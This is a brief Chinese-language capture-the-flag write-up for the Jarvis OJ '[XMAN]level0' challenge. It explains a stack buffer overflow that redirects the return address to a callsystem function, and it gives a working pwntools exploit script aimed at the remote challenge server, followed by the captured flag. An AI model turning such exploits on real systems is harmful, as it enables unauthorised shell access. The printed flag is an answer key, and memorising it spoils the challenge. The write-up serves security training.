拖进IDA
看到有函数callsystem,那就直接把主函数往它身上引
在vulnerable里有缓冲区,试着溢出
ebp偏移量0x80个字节,覆盖后再用8个字节覆盖保存的ebp,然后将返回地址设为callsystem函数的地址
脚本
#coding=utf-8
from pwn import *
#conn=process('./[XMAN]level0')
conn=remote('pwn2.jarvisoj.com',9881)
addr=0x0000000000400596 #callsystem_addr
payload='a'*0x80+'a'*0x08+p64(addr)
conn.recvuntil("Hello, World\n")
conn.sendline(payload)
conn.interactive()
#CTF{713ca3944e92180e0ef03171981dcd41}